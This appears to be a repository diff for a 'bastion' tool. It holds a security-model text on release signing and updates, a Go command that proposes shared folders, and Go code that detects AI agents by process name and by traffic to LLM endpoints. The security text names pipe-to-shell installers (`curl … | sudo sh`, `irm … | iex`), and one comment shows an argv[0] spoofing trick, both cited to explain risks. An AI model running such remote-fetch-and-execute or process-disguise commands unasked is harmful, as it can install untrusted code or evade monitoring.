**The release key.** Every release manifest, for the bastion and for the agent
it runs, is signed with an ed25519 release key. The public halves are compiled
into the binary (`client-go/release_sign.go`), and a manifest that does not
verify is refused. The private key never comes to the machine that builds and
publishes releases: a release is built there, then waits until the key holder
signs it on their own computer with `deploy/release-sign`, where the key is
stored encrypted under a passphrase. Whoever holds that key and passphrase can
publish a bastion and an agent that every bastion will accept. A compromised
download server, cache or DNS record is not enough on its own: without the key
it can only serve something the bastion refuses.
The release machine is different. It builds the release and computes the
digest the key holder signs, and the signing program shows only the kind,
the version and that digest, which the key holder has no independent way to
check at that moment. So someone in control of the release machine could have
a substituted release signed during a normal publish. That would not stay
hidden: `deploy/verify-release.sh`, run from any clone of this repository,
rebuilds the published release and reports any binary that differs. But it is
found after publishing, not stopped before it.
Two keys are pinned, a primary and a spare kept offline apart from it. If one
is lost, releases are signed with the other, and a later release pins a new
spare. If both were lost, no bastion could take another update or agent until
it was reinstalled by hand.
**The first install.** `curl … | sudo sh` and `irm … | iex` run a script from
our website before any bastion exists to check anything. The installer checks
the binary's digest against the manifest, but the installer and the manifest
come from the same place. To avoid trusting that one download, build from
source (see the README) or run `deploy/verify-release.sh` before installing.
**Bastion updates.** A bastion never replaces itself on its own. Your host has
to ask, and what it can ask for is limited to what we signed: the update goes
ahead only when a signed manifest names exactly the version the host asked
for. On a machine anchored to a host, a move to a newer version needs no
approval from you, so there the signature is the only thing that stands in
the way, as it is for the agent below. A signature shows that we published a
manifest at some point, not that it is the latest one, so a move to an older
version, or to one the bastion cannot compare with its own, still needs your
approval bound to that exact version. On a local machine that is not
anchored, your host can move the bastion to an older signed release by asking.
Switching `directives` off in the local console refuses every update your
host asks for.
**Agent updates.** The agent is different: it updates without asking. While a
folder is shared with the agent, the bastion checks the agent's manifest every
ten minutes and installs any newer signed version, restarting the agent on it,
with no request from your host and no approval from you. The signature is the
only thing that stands in the way. A new agent version reads the folders you
granted, as the old one did, and is never moved to an older version than the
one installed.
**Checking our work.** Release builds are reproducible.
`deploy/verify-release.sh` fetches the published manifest, checks its
signature, checks out the release's source, rebuilds it, and compares every
binary's digest. From 0.43.0 on, each public snapshot in this repository
carries the annotated tag `v<version>`, whose message records the release's
`built_from`. That field names the commit in the repository the release was
built in, which is not a commit here, so the script uses the tag and prints
which source it used. If the digests match, this source builds the binaries we
serve. Releases published before build reproducibility was added (0.40.0 and
earlier) cannot be checked this way.
**The agent.** The bastion downloads the bastion agent, runs it, and gives it
the folder you granted. The agent is a separate program in its own repository
(`privatae/bastion-agent`), and it reads your files in order to index them. What
leaves your machine is what its manifest and your grant allow. Its extraction
and PII redaction happen inside it, so check that repository, not this one,
for how well those work.
**The platform.** Your host runs on our platform, which is not open source. The
bastion keeps the host to your grant and your approvals whatever the platform
does. What the host does with what you share with it is governed by software
you cannot read here.
+7
View File
@@ -0,0 +1,7 @@
# Local build artifacts (go build writes these). A name that is no longer
# produced stays ignored: un-ignoring it once let a stale local build be
# committed.
bastion-client
bastion-client.exe
privatae-bastion
privatae-bastion.exe
+158
View File
@@ -0,0 +1,158 @@
package main
// "Add folders to your network" — DCN store onboarding, CLI-first.
//
// The production bastion is this binary (the enrollment flow installs it; there is
// no local dashboard), so the onboarding front door is a CLI verb:
//
// privatae-bastion add-folder <path> [display name]
//
// The verb talks to the RUNNING daemon's loopback endpoint (POST /dcn/propose,
// OperatorSecret-guarded like /git-credential); the daemon validates the folder locally (this
// box can actually check, unlike the host) and forwards the draft over the live
// mTLS tunnel to the host's /api/network/nac/dcn/propose. The draft lands INERT —
// the user approves it in their host (Context Manager → Storage → Your network) with
// their step-up code. Nothing is granted from here, nothing is ever pre-selected,
// and skipping is first-class: the verb exists, run it or don't.
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"time"
)
func cmdAddFolder(host, path, name string) error {
cfgs, err := loadPairings()
if err != nil {
return err
}
if len(cfgs) == 0 {
return fmt.Errorf("not paired yet — run `privatae-bastion pair <token>` first")
}
// Multi-homed boxes must NAME the host (0.10.0): guessing here is how a folder
// ends up proposed to the wrong entity. One pairing needs no flag.
var cfg *Config
switch {
case host != "":
cfg, err = findPairing(cfgs, host)
if err != nil {
return err
}
if cfg == nil {
return fmt.Errorf("no pairing matches --host '%s' — paired hosts:\n %s",
host, strings.Join(hostNames(cfgs), "\n "))
}
case len(cfgs) == 1:
cfg = cfgs[0]
default:
return fmt.Errorf("%d hosts are paired — say which one with --host:\n privatae-bastion add-folder --host <host> %s\npaired hosts:\n %s",
len(cfgs), path, strings.Join(hostNames(cfgs), "\n "))
}
abs, err := filepath.Abs(expandHome(path))
if err != nil {
return err
}
info, err := os.Stat(abs)
if err != nil || !info.IsDir() {
return fmt.Errorf("'%s' is not a directory on this machine", abs)
}
body, _ := json.Marshal(map[string]string{"root": abs, "display_name": name})
req, err := http.NewRequest(http.MethodPost,
"http://"+cfg.ListenAddr+"/dcn/propose", bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+cfg.OperatorSecret)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Do(req)
if err != nil {
return fmt.Errorf("the bastion daemon isn't running — start it with `privatae-bastion run` (%w)", err)
}
defer resp.Body.Close()
raw, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("draft failed: %s", string(raw))
}
fmt.Printf(`Draft created for %s.
Your files stay on this machine. Privatae Host keeps only the index — a route map of
what exists and where — so your host can find things instantly. Content is read
on demand, only from folders you approve, and every read is logged for you.
Nothing is granted yet: approve the draft on your Host (Context Manager → Storage →
Your network) with your 6-digit code.
`, abs)
return nil
}
func expandHome(p string) string {
if len(p) >= 2 && p[:2] == "~/" {
if home, err := os.UserHomeDir(); err == nil {
return filepath.Join(home, p[2:])
}
}
return p
}
// dcnProposeLocal is the daemon-side loopback handler (mounted on the :7878 mux in
// cmdRun): validate locally, then forward the draft over the live tunnel with the
// bastion's bearer. The hostname sent as `server` is this box's — the same identity
// the heartbeat reports and the signed grant will name.
func dcnProposeLocal(upstream *http.Client, hostName, bearer, operatorSecret string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if !uiSecretMatches(strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer "), operatorSecret) {
http.Error(w, `{"error":"unauthorized"}`, http.StatusUnauthorized)
return
}
var body struct {
Root string `json:"root"`
DisplayName string `json:"display_name"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Root == "" {
http.Error(w, `{"error":"root (a folder path) is required"}`, http.StatusBadRequest)
return
}
abs, err := filepath.Abs(expandHome(body.Root))
if err != nil {
http.Error(w, `{"error":"bad path"}`, http.StatusBadRequest)
return
}
if info, err := os.Stat(abs); err != nil || !info.IsDir() {
http.Error(w, fmt.Sprintf(`{"error":"'%s' is not a directory on this machine"}`, abs),
http.StatusBadRequest)
return
}
// The bastion-authed draft lane (mirrors the heartbeat path family): the
// host derives `server` from OUR bearer's heartbeat hostname — a bastion
// can only propose folders on itself, so no server field is sent.
payload, _ := json.Marshal(map[string]string{
"root": abs, "display_name": body.DisplayName,
})
req, err := http.NewRequest(http.MethodPost,
fmt.Sprintf("https://%s:8443/api/network/bastions/dcn-propose", hostName),
bytes.NewReader(payload))
if err != nil {
http.Error(w, `{"error":"bad upstream request"}`, http.StatusInternalServerError)
return
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+bearer)
resp, err := upstream.Do(req)
if err != nil {
http.Error(w, fmt.Sprintf(`{"error":"could not reach your host: %s"}`, err),
http.StatusBadGateway)
return
}
defer resp.Body.Close()
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(resp.StatusCode)
_, _ = io.Copy(w, resp.Body)
}
}
+901
View File
@@ -0,0 +1,901 @@
package main
import (
"encoding/json"
"fmt"
"net"
"os"
"strings"
"sync"
"time"
)
// The OBSERVE plane. The bastion (root, on the server) watches for AI/agent activity two ways
// and correlates by pid: the PROCESS signal (known agent binaries) and the NETWORK
// signal (outbound connections to inference endpoints). A process disguised at the process
// layer still betrays itself by talking to a model. Detection is SOFT + evadable — visibility +
// early-warning, NEVER relied on for security (containment is the host-local NAC). The report
// serves the user's OWN host on the user's OWN infra; the platform never sees it.
//
// PLATFORM SPLIT. This file holds every JUDGEMENT — what counts as an agent, what
// counts as an inference endpoint — so the rules are identical on every OS and testable from any
// one of them. Each platform supplies only raw enumeration, in agents_<goos>.go:
//
// scanProcesses() (map[int]agentObs, error) the running processes that match an agent
// signature; an error is a walk that did not happen
// scanConnections() []connObs established outbound TCP, with the owning pid
// procUser / procCmdline / procEnvToken (pid int) string
// procExe (pid int) string the KERNEL's executable path, or "" — never argv[0]
//
// Before this, both enumerators were Linux-only (/proc + `ss`), so a Windows or macOS bastion
// enforced its grants while observing NOTHING. A bastion that cannot see is the gap this closes:
// the machines nobody has visibility of are the ones most likely to be running something.
// agentBinaries: argv[0] basename (the binary IS the agent) -> signature. Exact-match keeps false
// positives near zero. Compared after binBase(), which lowercases and drops a ".exe" suffix, so
// one entry covers `claude`, `/usr/local/bin/claude` and `C:\...\claude.exe`.
var agentBinaries = map[string]string{
"claude": "claude-code",
"claude-code": "claude-code",
"aider": "aider",
"goose": "goose",
"cline": "cline",
"cursor-agent": "cursor",
"interpreter": "open-interpreter",
"opencode": "opencode",
"codex": "codex",
"gemini": "gemini-cli",
"agy": "antigravity",
"crush": "crush",
}
// agentSubstrings: distinctive cmdline markers for interpreter-wrapped agents (argv[0] is node/python).
var agentSubstrings = []struct{ Sub, Sig string }{
{"claude-code", "claude-code"},
{"@anthropic-ai/claude", "claude-code"},
{"continuedev", "continue"},
{"open-interpreter", "open-interpreter"},
{"cursor-tunnel", "cursor"},
{"@openai/codex", "codex"},
{"@google/gemini-cli", "gemini-cli"},
{"opencode-ai", "opencode"},
}
// automationBinaries (kind `automation`): tools that drive a
// machine with NO model of their own — input injection, browser drivers, RPA
// runtimes. Every automation has to be identifiable, because the subtle agent
// is the one worth detecting, not the big loud harness. An automation is inventory,
// never an alert; the moment model traffic joins it, it is an agent.
var automationBinaries = map[string]string{
"xdotool": "xdotool",
"ydotool": "ydotool",
"cliclick": "cliclick",
"chromedriver": "chromedriver",
"geckodriver": "geckodriver",
"msedgedriver": "msedgedriver",
"safaridriver": "safaridriver",
"autohotkey": "autohotkey",
"autohotkey64": "autohotkey",
"autohotkeyu64": "autohotkey",
"autohotkeyu32": "autohotkey",
"autoit3": "autoit",
"sikulix": "sikulix",
}
// automationSubstrings: interpreter-wrapped automation frameworks, gated the
// same way as agentSubstrings (argv[0] must be an interpreter).
var automationSubstrings = []struct{ Sub, Sig string }{
{"playwright", "playwright"},
{"puppeteer", "puppeteer"},
{"selenium", "selenium"},
{"pyautogui", "pyautogui"},
{"browser-use", "browser-use"},
{"browser_use", "browser-use"},
}
// interpreters: argv[0] basenames that run a script — only THESE get the cmdline-substring check,
// so a shell command that merely MENTIONS a marker (a grep, an echo, this very test) isn't flagged.
// Windows ships the same runtimes as node.exe/python.exe; binBase() has already dropped ".exe".
var interpreters = map[string]bool{
"node": true, "nodejs": true, "python": true, "python3": true,
"bun": true, "deno": true, "npx": true, "uv": true, "uvx": true,
"pythonw": true, "py": true,
}
// llmEndpoints: REMOTE inference API hostnames. Resolved to IPs (cached) and matched against
// outbound connections. Maintained + updatable (EDR-style). Imperfect by nature (shared CDN IPs) —
// a soft signal, correlated with the process signal, never the security wall.
var llmEndpoints = []string{
"api.anthropic.com", "api.openai.com", "openrouter.ai", "api.mistral.ai",
"api.cohere.ai", "generativelanguage.googleapis.com", "api.groq.com",
"api.together.xyz", "api.deepseek.com", "api.x.ai", "api.perplexity.ai",
"api.moonshot.cn", "api.moonshot.ai", "api.fireworks.ai",
"api.deepinfra.com", "api.cerebras.ai", "api.sambanova.ai",
"bedrock-runtime.us-east-1.amazonaws.com", "api.z.ai",
}
// ── LOCAL inference ─────────────────────────────────────────────────────────
// The endpoint list above is cloud APIs only, so an agent driven by a model on
// this box (Ollama, LM Studio, llama.cpp) or on the LAN produced NO network
// signal at all. On a restricted or air-gapped network that is the LIKELIER
// case, which made it the blind spot worth closing first.
//
// Matched by DESTINATION PORT rather than address: the address of a local model
// is whatever the user chose (loopback, a LAN GPU box, a tunnel address), but
// the port is the server's published default. Three tiers, because a false
// "unrequested agent" alert costs the user more than a missed one — it teaches
// them to ignore the alert:
//
// verified — read from THIS box's own configuration (OLLAMA_ADDR,
// PRIVATAE_LLM_ADDR). The operator told us an inference server
// listens there, so a connection to it is evidence on its own.
// known — published defaults distinctive enough to stand alone.
// ambiguous — defaults that collide with ordinary web development. These
// ANNOTATE a process the process signal already matched, and can
// never promote an unknown process to "llm-client" on their own.
//
// Reported as "local:<port> (<what>)" so the host can say WHICH local server,
// and so the string never looks like a cloud hostname the user could block.
var knownLocalLLMPorts = map[int]string{
11434: "ollama",
11435: "ollama",
1234: "lm-studio",
1337: "jan",
5001: "koboldcpp",
30000: "sglang",
8321: "llama-stack",
}
var ambiguousLocalLLMPorts = map[int]string{
8080: "llama.cpp/localai",
8000: "vllm",
5000: "text-generation-webui",
7860: "gradio/text-generation-webui",
}
// connObs — one established outbound TCP connection and the pid that owns it.
// The platform layer produces these; classification happens here.
type connObs struct {
PID int
RemoteIP string
RemotePort int
// ViaHelper: the socket belongs to a GUI helper process and PID has been
// rewritten to the app that owns it (scanAgents). The connection then
// describes an APP, never a disguised agent.
ViaHelper bool
}
type agentObs struct {
PID int `json:"pid"`
PPID int `json:"ppid,omitempty"` // parent pid — what contain walks, and how a helper finds its app
// Kind: WHAT the process is, not just what it matched.
// agent — a coding/automation agent (the signature tables): acts on its own.
// app — interactive software the user is running that happens to talk
// to a model (the Claude desktop app, an IDE, a browser).
// client — an unknown process caught by the network signal alone.
// Measured origin: one Windows box reported the Claude DESKTOP app as nine
// "claude-code" agents (eight of them Chromium helper processes), and the
// host raised nine alerts with nine kill buttons. An app is visibility, never
// an alert and never a contain target.
Kind string `json:"kind,omitempty"`
User string `json:"user"`
Signature string `json:"signature"`
Cmdline string `json:"cmdline"`
// Exe is the KERNEL's record of which file this process is
// running. It is what a local sanction is keyed on (sanction.go), and it is
// the only field here a process cannot choose for itself.
//
// NEVER DERIVED FROM Cmdline, and the two are not the same fact. Measured:
// `bash -c 'exec -a /home/user/.local/bin/claude sleep 25'`
// reported "/home/user/.local/bin/claude 25" in /proc/<pid>/cmdline while
// /proc/<pid>/exe still read /usr/lib/cargo/bin/coreutils/sleep. argv[0] is a
// string the launcher picks; this is the path the kernel opened.
//
// EMPTY when the platform could not supply one — another user's process, a
// handle the bastion may not open, a build with no enumerator. Empty is
// never back-filled from argv[0]: a guessed identity is exactly the forgery
// this field exists to stop, and sanction.go refuses to mark an observation
// that has none. Absolute or empty, nothing in between (sanitizeExePath).
//
// It travels on the heartbeat. The host reads its agent rows key by key
// (the host's agent-detection reader), so an unknown key is ignored by
// every host that predates it rather than rejected.
Exe string `json:"exe,omitempty"`
LLMEndpoints []string `json:"llm_endpoints,omitempty"`
DelegationToken string `json:"delegation_token,omitempty"` // host-issued tag, if the agent carries one
// Origin: how the process was started — interactive, remote,
// scheduler, service, agent, unknown (origin.go). Evidence is every typed
// reason behind kind and origin; the host shows the list, never a verdict.
Origin string `json:"origin,omitempty"`
// Unit is what OWNS this process — the systemd slice/unit on linux. It is
// already read for classification (origin_linux.go:82, via cgroupUnit) and
// was discarded after; the baseline's fingerprint needs it, because that is
// what makes a service RESTART the same entry rather than a new one
// (baseline.go). Empty where the platform does not supply one: darwin and
// windows never populate procFacts.Unit, so those fall back to the origin.
Unit string `json:"unit,omitempty"`
Evidence []evidence `json:"evidence,omitempty"`
raw string // the UNTRUNCATED command line, for classification only; never reported
// automation: the signature came from the automation tables, so the
// classifier gives this kind `automation` unless model traffic promotes it.
automation bool
}
// localLLMPorts returns the destination ports that mean "local inference" on
// this box: strong (stands alone as evidence) and weak (corroborating only).
// The strong set starts from this box's OWN configuration, so an operator
// running llama.cpp on :8080 gets that port treated as real evidence — the
// same number stays weak on a box that never declared it.
func localLLMPorts() (strong map[int]string, weak map[int]string) {
strong = map[int]string{}
for p, name := range knownLocalLLMPorts {
strong[p] = name
}
for _, e := range []struct{ env, name string }{
{"OLLAMA_ADDR", "ollama"},
{"PRIVATAE_LLM_ADDR", "openai-compatible"},
} {
if p := portOfAddr(os.Getenv(e.env)); p > 0 {
strong[p] = e.name // configured beats both tables: the operator declared it
}
}
weak = map[int]string{}
for p, name := range ambiguousLocalLLMPorts {
if _, taken := strong[p]; !taken {
weak[p] = name
}
}
return strong, weak
}
// scanAgents merges the process + network signals into one snapshot keyed by pid: a known agent
// binary, an interpreter-wrapped agent, OR a process the process-signal missed that is talking to
// a model (signature "llm-client").
//
// The bastion's OWN managed local agent children are excluded: they embed against the local model by
// design, so without this every box running one reports its own component as an unsanctioned agent.
//
// An error is the walk NOT happening — /proc unreadable, `ps` failing, the
// Toolhelp snapshot refused — and it must not come back as an empty list:
// the host reads an empty list from a box that can enumerate as "looked and
// found nothing", which clears a containment the user ordered. The heartbeat
// withholds the key instead (buildHeartbeatBody), and the host holds.
//
// scanProcessesFn is the seam a test uses to make the walk fail; production
// never reassigns it.
var scanProcessesFn = scanProcesses
func scanAgents() ([]agentObs, error) {
byPid, err := scanProcessesFn()
if err != nil {
return nil, err
}
// Kind + helper collapse: a GUI app's helper processes are
// dropped and their parent is classified as an app; each surviving
// observation carries its kind and parent. A helper's connections still
// count — they are re-attributed to the app that owns the helper, so
// "Claude desktop, talking to api.anthropic.com" is one observation, not
// nine, and the network-service helper that actually holds the socket is
// credited to the app rather than reported on its own.
helperRoot := classifyObservations(byPid, procParent)
conns := scanConnections()
for i := range conns {
if root, ok := helperRoot[conns[i].PID]; ok {
conns[i].PID = root
conns[i].ViaHelper = true
}
}
strong, weak := localLLMPorts()
mergeConnections(byPid, conns, resolveLLMIPs(), strong, weak,
func(pid int) procDetail {
return procDetail{User: procUser(pid), Cmdline: procCmdline(pid),
Token: procEnvToken(pid), Exe: procExe(pid)}
}, procParent)
// Origin + evidence. The observed set is every agent and
// automation in this snapshot, so a process forked by one of them reads
// as origin `agent`. Apps get an origin too — it costs nothing and "the
// Claude desktop app, started by launchd" is a true sentence — but their
// origin never changes what the host does with them.
observed := map[int]bool{}
for pid, a := range byPid {
if a.Kind == kindAgent || a.Kind == kindAutomation {
observed[pid] = true
}
}
extra := originExtras()
facts := procFactsReader()
out := make([]agentObs, 0, len(byPid))
for pid, a := range byPid {
if faIsOwnChild(pid) {
continue
}
origin, ev := classifyOrigin(pid, facts, observed, extra)
a.Origin = origin
// The owning unit, read from the same facts the classifier used. It is
// already in hand on linux and was being thrown away; the baseline
// fingerprint needs it so a service restart is the SAME entry.
if f, ok := facts(pid); ok {
a.Unit = f.Unit
}
a.Evidence = append([]evidence{signatureEvidence(a)}, endpointEvidence(a.LLMEndpoints)...)
if a.DelegationToken != "" {
a.Evidence = append(a.Evidence, evidence{Signal: "delegation-tag", Tier: tierKnown, Value: "present"})
}
a.Evidence = append(a.Evidence, ev...)
out = append(out, a)
}
return out, nil
}
var (
llmIPCache map[string]string
llmIPCacheAt time.Time
llmIPMu sync.Mutex
)
// resolveLLMIPs resolves the endpoint list to an ip->hostname map, cached for 5 min.
func resolveLLMIPs() map[string]string {
llmIPMu.Lock()
defer llmIPMu.Unlock()
if llmIPCache != nil && time.Since(llmIPCacheAt) < 5*time.Minute {
return llmIPCache
}
m := map[string]string{}
for _, host := range llmEndpoints {
ips, err := net.LookupIP(host)
if err != nil {
continue
}
for _, ip := range ips {
m[ip.String()] = host
}
}
llmIPCache = m
llmIPCacheAt = time.Now()
return m
}
// buildHeartbeatBody marshals the heartbeat payload, now including the observed-agent snapshot.
// `endpoint` is the WG endpoint this bastion currently DIALS (config truth) — the host compares
// it against the authoritative desired endpoint and answers with a rotate_endpoint directive
// when they differ (the concentrator→relay migration path; see maybeRotateEndpoint).
// `savePending` is true while this pairing runs on an entry and Hub key it moved to
// but has not saved yet (rotate.go, persistEndpoints).
// `mirror` is this pairing's replica state, or nil when the box holds no mirror
// for this host. Passed in rather than read from package state: one daemon
// serves several hosts and each has its own mirror, so a global would report
// one host's replica under another host's heartbeat.
//
// `self` is the pairing this beat is for (its host_name). It decides one thing:
// the full pairings list (every pairing on the box, with states) travels ONLY
// to the anchor host, because approving is the anchor's job. "" = no pairing
// identity (tests, tools): mode, anchor and unapproved attempts still travel.
func buildHeartbeatBody(self, hostname, platform, version, wgPub, fingerprint, tunnelIP, endpoint string,
savePending bool, mirror *mirrorReport, enforcing map[string]any, peers []peerAnnounce) string {
caps := []string{}
// WHY SOME CAPABILITIES ARE WITHHELD HERE AND OTHERS ARE NOT — the asymmetry
// is real and was undocumented, which is why it reads as an oversight. The
// rule, stated so the next person does not have to re-derive it:
//
// ADVERTISE what the machine CAN do. WITHHOLD what it will refuse to
// CONNECT.
//
// The inference lanes are listening ports. A pairing outside the family is
// refused at accept (run.go inferenceRefuser), so advertising them would be a
// lie about REACHABILITY — the host would route embeddings at a socket that
// hangs up. Withholding is the honest answer.
//
// observe / mirror / freeagent are op families gated at the mgmt lane, which
// refuses with a sentence naming the fix. Withholding those would tell the
// host this machine CANNOT observe or mirror, when the truth is that it is
// not yet governed — and "capability-poor" is a worse lie than "ungoverned",
// because the second is recoverable by reading the anchor state that rides
// the same beat. So they keep advertising on an unanchored networked box, and
// the refusal explains itself if the control is used.
//
// The inference lanes (embed, llm-openai, pii) are one caps family on an
// anchored box (anchor.go opFamily "inference"). A pairing outside it is
// refused at the forwards' accept, so its heartbeat must not advertise
// them either: the host offers embedding routes and PII writes on these
// capabilities, and an offer the box will refuse is a control that fails
// after the user has already chosen it. Withheld = the probes are skipped.
inference := capsAllow(self, "inference") == ""
// The same honesty rule one level finer. A grant may narrow
// `inference` to NAMED models (modelscope.go); the forward refuses every
// other one, so every list that leaves here is filtered to the scope and a
// lane with nothing left in it is not advertised at all. An unscoped
// pairing — every anchor, and every grant signed before the field existed —
// gets exactly what it got before: scope.filterModels is the identity then.
scope := pairingModelScope(self)
reachable, models := false, []string(nil)
if inference {
reachable, models = ollamaModels(tunnelIP)
models = scope.filterModels(models)
// Reachable but nothing shared: advertising `embed` would put this box
// in the host's embedding picker and every call would then be refused.
if scope.scoped && len(models) == 0 {
reachable = false
}
}
if reachable {
caps = []string{"embed"}
}
// OpenAI-compatible server (llama.cpp/vLLM via PRIVATAE_LLM_ADDR) — additive
// capability; hosts that predate it ignore unknown caps.
//
// Its models go in their OWN field, never merged into `models`. Two reasons,
// both load-bearing: (1) this server answers on a DIFFERENT port, and the
// host derives an endpoint per list — a merged list makes it dial ollama's
// port for a model only llama.cpp serves; (2) `models` feeds the host's
// EMBEDDING picker, so merging offers chat models as embedding models on a
// box running both.
llmModels := []string{}
llmPort := llmForwardPort
if !inference {
// The host stores 0 as NULL; with llm-openai withheld and
// llm_models empty nothing on the host resolves a port for this row.
llmPort = 0
} else if ok, oaModels := openAICompatModels(); ok {
oaModels = scope.filterModels(oaModels)
if scope.scoped && len(oaModels) == 0 {
// Same rule as `embed` above: an empty shared list means this
// pairing has no reachable model here, so the lane is withheld
// and llm_port goes back to the "no port" value.
llmPort = 0
} else {
caps = append(caps, "llm-openai")
if oaModels != nil {
llmModels = oaModels
}
}
}
// PII sterilization lane (PRIVATAE_PII_ADDR; servePIIForward, :18081).
// Additive, and ABSENT-when-unset rather than always-present like
// llm_port: the host gates PII features on pii_port being reported at
// all, so a bastion with no service must produce no fields — absence
// IS the honest "not present" signal. pii_ok is the last /health
// probe: an up forwarder with a dead upstream is a distinct state the
// host wants before committing a fail-closed write path to it.
piiAdvertised, piiOK := false, false
if inference && scope.allowsPII() {
piiAdvertised, piiOK = piiProbe()
}
if piiAdvertised {
caps = append(caps, "pii")
}
// local agent lane (PRIVATAE_BASTION_AGENT_ADDR; freeagent.go). Same absence
// semantics as pii: unset env → no capability, no field. freeagent_ok is
// the last mTLS /health probe — "serving" per the local agent's own gate.
// The capability means SERVING, not merely configured: the platform has
// no column for freeagent_ok (schema is not this lane's to change), so the
// store card's "freeagent: true" must be true at the moment it is read.
// freeagent_ok still travels for the operator's eyes.
faAdvertised, faOK := freeagentProbe()
// managed instances (freeagent_managed.go) count the same way: any
// serving instance advertises the capability; all must serve for ok
if mAdv, mOK := faManagedProbe(); mAdv {
if !faAdvertised {
faAdvertised, faOK = true, mOK
} else {
faOK = faOK && mOK
}
}
if faAdvertised && faOK {
caps = append(caps, "freeagent")
}
// Memory mirror: advertise ONLY when this box could actually hold
// one, which means a container runtime is installed. The host gates its
// enable path on this capability, so a box without Docker or Podman never
// gets offered a control that would fail after the user had already spent a
// two-factor code on it. Re-probed every beat, so installing a runtime makes
// the option appear without restarting anything.
if mirrorCapable() {
caps = append(caps, mirrorCapability)
}
// Service slots (service.go): advertised only when this pairing holds the
// "services" family AND a container runtime is installed — the host offers
// "build a server on this machine" on it, and an offer the box would refuse
// is a control that fails after the user chose it. The slot list rides with
// it, withheld (absent, not empty) from a pairing outside the family.
servicesOn := servicesCapable(self)
if servicesOn {
caps = append(caps, serviceCapability)
}
// Coder runs (coders.go): the capability and its block travel together,
// only when this machine would accept a run-up from this pairing — Linux,
// root, coders on, a runtime, the family, and (anchored) a standing coder
// grant. Absent, never empty, otherwise.
coders := coderHeartbeat(self)
if coders != nil {
caps = append(caps, coderCapability)
}
// THE OBSERVE PLANE'S PAYLOAD IS GATED ON `observe`.
//
// `agents` is what is RUNNING on someone's computer and `schedulers` is what
// is set to run on it. Both rode every beat to every paired host regardless
// of its ceiling — scanAgents() takes no pairing identity at all — so a host
// approved for one model still received the machine's process list. That
// makes the sentence this feature exists for ("the only thing we can do with
// this machine is use the qwen4 model") false, and it is the same separation
// prep_tools already keeps on `dcn` and model:* on `models`.
//
// Both the CAPABILITY and the DATA are withheld together, and the fields are
// OMITTED rather than emptied: an empty agents list from a box that is
// watching perfectly well would read as "nothing running", which is a worse
// lie than saying nothing. What tells the host which it is looking at is
// enforcing.pairing_caps, already on this same beat — a host that can see it
// holds no `observe` knows the box is not blind, it is not telling THEM.
//
// The anchor pairing holds every family, and an unanchored box (every local
// bastion) gates nothing, so this narrows exactly one case: a member pairing
// on an anchored box whose grant does not name observe.
observing := capsAllow(self, "observe:host") == ""
// Agent OBSERVE plane: say whether this box can actually watch
// itself. Every platform enforces grants, but only a platform with both
// enumerators reports agents — and "no agents observed" from a box that
// CANNOT observe reads identically to a genuinely quiet box unless this
// says otherwise. The host uses it to distinguish quiet from blind.
if agentScanSupported && observing {
caps = append(caps, "agent-observe")
}
// Computer OBSERVE rung (computer.go): the same quiet-vs-
// blind distinction for the machine map — apps and windows. A build with no
// enumerator withholds it, so the host never reads "no apps" from a box that
// cannot look.
if computerObserveSupported {
caps = append(caps, "computer-observe")
}
// Scheduler inventory (schedulers.go): the standing jobs on
// this box that would run an agent or an automation. Same quiet-vs-blind
// rule: the capability travels only from a build that can enumerate.
// Not probed at all when withheld — the same rule the inference lanes
// follow above ("withheld = the probes are skipped"). Walking every crontab
// and unit on the box to build a list nobody is entitled to read is work
// done for nothing, on the user's own hardware.
var schedEntries []schedEntry
var schedScan schedScanReport
if observing {
schedEntries, schedScan = scanSchedulers()
if schedScan.Supported {
caps = append(caps, "scheduler-observe")
}
}
// Context preparation (contextprep.go): the tools on this box that
// turn a user's bytes into their content — a PDF's text, an image's OCR.
// Gated on the dcn family like the ctx_* ops it serves, so a member pairing
// that would be refused at the op is never offered the feature; withheld
// skips the probe entirely, exactly as the inference lanes do above.
// Model management (modelswap.go): could this box have a model
// PULLED onto it by this host. Its own family ("models"), so a pairing that
// holds `inference` — the right to USE what is already loaded — is not
// offered this and its probe is skipped, exactly as the lanes above do.
// COULD, never WILL — and here that is narrower than it sounds: holding the
// family buys the host the right to ASK, not to download. Every pull ALSO
// needs the user's approval on this machine, bound to that exact model, role
// and byte ceiling, good for one use (modelPullApproved, modelswap.go). So
// this capability means "you may propose a model to this user", never "you
// may write to their disk".
if modelSwapCapable(self) {
caps = append(caps, modelSwapCapability)
}
prepTools, prepScan, prepOK := prepCapable(self)
if prepOK {
caps = append(caps, prepCapability)
}
if prepTools == nil {
prepTools = []prepToolReport{}
}
if models == nil {
models = []string{}
}
body := map[string]interface{}{
"hostname": hostname,
"platform": platform,
"gateway_version": version,
"tunnel_status": "up",
"wg_pubkey": wgPub,
"device_health": "healthy",
// Which context-preparation tools this box actually has, and how many
// were probed to find them — so "no tools" from a box that probed three
// binaries is visibly different from one that probed none. The host's
// question is "can this box turn this mime into text", which this list
// answers as a lookup. Empty when the capability is withheld.
"prep_tools": prepTools,
"prep_scan": prepScan,
"hardware_fingerprint": fingerprint,
"capabilities": caps,
// The ollama models this box serves — the host stores these and offers
// them in its embedding pickers, so model selection matches reality.
"models": models,
// The OpenAI-compatible server's models, and the TUNNEL-SIDE port the
// host must dial to reach them (serveLLMForward proxies it to
// PRIVATAE_LLM_ADDR). The port is reported rather than assumed so the
// constant lives in ONE place instead of being duplicated host-side.
"llm_models": llmModels,
"llm_port": llmPort,
"reported_ip": tunnelIP,
"endpoint": endpoint,
// True while this pairing runs on an entry and Hub key it moved to
// but could not save: a restart would come up on the ones its file
// still names. The host reads the key a machine runs from its Hub's
// handshakes, which cannot see the disk, so it keeps the key the file
// names served until this is false. On every beat; a host reads its
// absence as a client too old to say.
"endpoint_save_pending": savePending,
}
// The service slots this pairing may reach, with the tunnel port for each
// (service.go). Absent when the capability is withheld, never empty-for-no.
if servicesOn {
body["services"] = serviceReports()
}
if coders != nil {
body["coders"] = coders
}
